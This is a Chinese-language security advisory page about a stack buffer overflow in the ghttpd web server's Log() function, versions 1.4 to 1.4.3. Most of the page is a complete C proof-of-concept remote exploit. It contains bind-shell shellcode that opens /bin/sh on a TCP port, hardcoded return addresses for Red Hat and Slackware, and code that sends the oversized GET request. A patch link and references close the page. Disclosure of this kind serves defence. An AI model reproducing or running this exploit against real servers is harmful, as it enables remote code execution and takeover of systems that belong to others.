xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

ghttpd Log()函数存在缓冲溢出


发布时间:2002-10-21
更新时间:2002-10-21
严重程度:
威胁程度:普通用户访问权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:5960

受影响系统
ghttpd ghttpd 1.4
ghttpd ghttpd 1.4.1
ghttpd ghttpd 1.4.2
ghttpd ghttpd 1.4.3
详细描述
ghttpd存在漏洞可导致以WEB权利执行任意代码。

当带有超长的参数的GET请求提交给WEB服务程序的时候,可导致发生基于堆栈的缓冲溢出。可以以WEB权利执行任意代码。

测试代码
/* PRPghttpd.c

         This program is free software; you can redistribute it and/or
         modify it under the terms of the GNU General Public License
         as published by the Free Software Foundation; either version 2
         of the License, or (at your option) any later version.

         This program is distributed in the hope that it will be useful,
         but WITHOUT ANY WARRANTY; without even the implied warranty of
         MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
         GNU General Public License for more details.

         You should have received a copy of the GNU General Public License
         along with this program; if not, write to the Free Software
         Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
         02111-1307, USA.

         -

         PYR/\MID, Research Project
         Author: flea
         Date: October 7, 2002
         Members: Apm, flea, thread

         Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

         Works on:
         i386 Redhat 7.2
         i386 Redhat 7.3
         i386 Slackware 8.1

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NOP                     0x90
#define MIN_BUFFER_SIZE                  198
#define MAX_IP_LENGHT                  15
#define GAZTEK_PORT                  80
#define BIND_PORT               36864

void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);

#define ARCH_NUMBER                  4

struct arch {
         int id;
         char *os;
         long addr;
         int adjusted_buf;
} architectures[] = {
                           {0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
                           {1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
                                {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
                          {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
                       };

char bindshell[] =
        "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
        "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
        "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
        "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
        "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
        "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
        "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
        "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

void synops(char *argv[])
{
         int i;

         printf("PYR/\\MID, Research Project 02\n");
        printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
        printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);
        printf("<ip>            - ip address to check lenght\n");
        printf("<remote>        - remote target ip addr\n");
        printf("<arch>          - remote architecture id\n");
        printf("<banner>        - ip addr to check banner\n\n");
         printf("Architectures id:\n");

        for(i=0; i<ARCH_NUMBER; i++)
                 printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);

         exit(0);
}

void get_ban(char *ban_addr)
{
         int i, sock_fd;
         char *read_buf, *read_buf_toked, *ptr;
         struct sockaddr_in target;

         if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
         {
                  printf("socket() error.\n");
                  exit(-1);
         }

         target.sin_family = AF_INET;
         target.sin_port = htons(GAZTEK_PORT);

         if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
         {
                  printf("\"%s\" is an invalid ip address.\n", ban_addr);
                  exit(-1);
         }

         bzero(&(target.sin_zero), 8);

         if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
         {
                  printf("connect() error.\n");
                  exit(-1);
         }

         if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)
         {
                  printf("write() error.\n");
                  exit(-1);
         }

         read_buf = malloc(256);
         read_buf_toked = malloc(256);

         if((read(sock_fd, read_buf, 256)) == -1)
         {
                  printf("read() error.\n");
                  exit(-1);
         }

         strcpy(read_buf_toked, read_buf);
         ptr = strstr(read_buf_toked, "Server");
         ptr = strtok(ptr, "\n");

         printf("%s\n\n", ptr);

         printf("****** FULL HEADERS ******\n");
         ptr = strtok(read_buf, "\n");

         for(i=0; i<4; i++)
         {
                  ptr = strtok(NULL, "\n");
                  printf("%s\n", ptr);
         }
         printf("****** FULL HEADERS ******\n");
         exit(0);
}

main(int argc, char *argv[])
{
         int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
         char *addr, *get_buf, *get_buf_str;
         long ret;

         extern char *optarg;
         extern int optind, optopt;

         struct sockaddr_in target;

         if(argc == 1)
                  synops(argv);

         while((c = getopt(argc, argv, "b:d:")) != -1)
         {
                  switch(c)
                  {
                           case 'b':
                                    addr = malloc(strlen(optarg));
                                    strcpy(addr, optarg);
                                    ban_chk++;
                                    break;
                           case 'd':
                                    if(!(argv[optind]))
                                             errflg++;
                                    if(!(argv[optind+1]))
                                             errflg++;
                                    if(errflg == 0)
                                    {
                                             if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
                                             {
                                                      printf("Invalid architecture id.\n");
                                                      exit(-1);
                                             }

                                             if((inet_addr(argv[optind])) != -1)
                                                      ip_lenght = strlen(argv[optind+1]);
                                             else
                                             {
                                                      printf("\"%s\" is an invalid ip address.\n", argv[optind]);
                                                      exit(-1);
                                             }
                                             addr = malloc(strlen(argv[optind+1]));
                                             strcpy(addr, argv[optind+1]+1);
                                             exp_flg++;
                                    }

                                    break;
                           case ':':
                                    errflg++;
                                    break;
                           case '?':
                                    errflg++;
                  }
         }

         if(errflg > 0)
                  synops(argv);

         /* check banner info */
         if(ban_chk > 0)
                  get_ban(addr);

         if(!(exp_flg))
                  synops(argv);
/*
        Buffer Size Craft Relation
        min string size                    = 192 bytes
        string "GET _" size                =   4 bytes
        max log ip size "255.255.255.255"  =  15 bytes
        string "\n\n" size                 =   2 bytes
                                           = 198 bytes
                                                        */
         /* dont count with GET request and newline bytes */
         c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
         /* NULL string byte */
         c_size = c_size+1;

         /* builds crafted buffer */
         get_buf = malloc(c_size);
         /* counts with all constants sizes */
         get_buf_str = malloc((c_size+4+2));

         memset(get_buf, NOP, c_size);
         memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
         *(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
         get_buf[c_size-1] = '\0';

         /* final buffer, now just inject on connection */
         sprintf(get_buf_str,"GET %s\n\n", get_buf);

         /* infos */
         printf("target: %s\n", addr);
         printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);
         printf("ip size: %d bytes\n", ip_lenght);
         printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
         printf("buffer size: %d bytes\n", strlen(get_buf_str));
         printf("bind shellcode size: %d bytes\n", strlen(bindshell));
         printf("bind shell tcp port: %d\n", BIND_PORT);
         printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);

         /* start socket() */

        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
        {
                printf("socket() error.\n");
                exit(-1);
        }

        target.sin_family = AF_INET;
        target.sin_port = htons(GAZTEK_PORT);

        if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
        {
                printf("\"%s\" is an invalid ip address.\n", addr);
                exit(-1);
        }

        bzero(&(target.sin_zero), 8);

        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
         {
                printf("connect() error.\n");
                exit(-1);
        }

        if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
        {
                printf("write() error.\n");
                exit(-1);
        }

         printf("Done!\n");

return 0;
}

解决方案
补丁下载:

ghttpd ghttpd 1.4:
ghttpd ghttpd 1.4.1:
ghttpd ghttpd 1.4.2:
ghttpd ghttpd 1.4.3:

Marc Pompl Patch ghttpd-1.4-3.diff
http://lynorics.sundawn.net/prog/ghttpd-1.4-3.diff

相关信息
pyramid-rp@hushmail.com.
参考:http://online.securityfocus.com/archive/1/295141
相关主页:http://lynorics.sundawn.net/prog/ghttpd.html